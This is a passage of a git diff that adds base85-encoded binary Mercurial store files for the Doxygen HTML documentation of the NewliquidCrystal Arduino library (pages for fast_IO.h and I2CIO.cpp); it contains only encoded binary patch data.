z)5@j6S#1l6?w6@X)&WK6_E#+f_K3-hnoZXqtEj#kLUSH9gxKBd`B=(QJF&D?0VmB~ z9;xjiEE+Wlea?;~UrA}oLHhy%6g7}wDew(7_+!4tQ+zg_*xT8BI-8H*;FVOkH@kS* zjIU#n)o?b(WOLu&@AqCJ55*dUC)L_#B7s8#&Iwq$esp}joNYuV)&x^-I*t9IRE12u bciya5N#NInb)+Az5h^~|W(}Obb4HQt(!-qi literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__fast__i__o__8h.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__fast__i__o__8h.html.i new file mode 100644 index 0000000000000000000000000000000000000000..46598732c834ac1a1b2a9bee58715322d1c45cf3 GIT binary patch literal 5527 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 ZRTB6$Ssm|Re-iTThi%@#`3;zrl#36Jk)Hqn literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__fast__i__o__8h__source.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__fast__i__o__8h__source.html.i new file mode 100644 index 0000000000000000000000000000000000000000..08623c7b8aca89166a0172bd2cbdc609f49fb654 GIT binary patch literal 9403 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__i2__c__i__o__8cpp.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__i2__c__i__o__8cpp.html.i new file mode 100644 index 0000000000000000000000000000000000000000..1c3e67e51fcd98765a228787b6e0431359744c42 GIT binary patch literal 2343 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 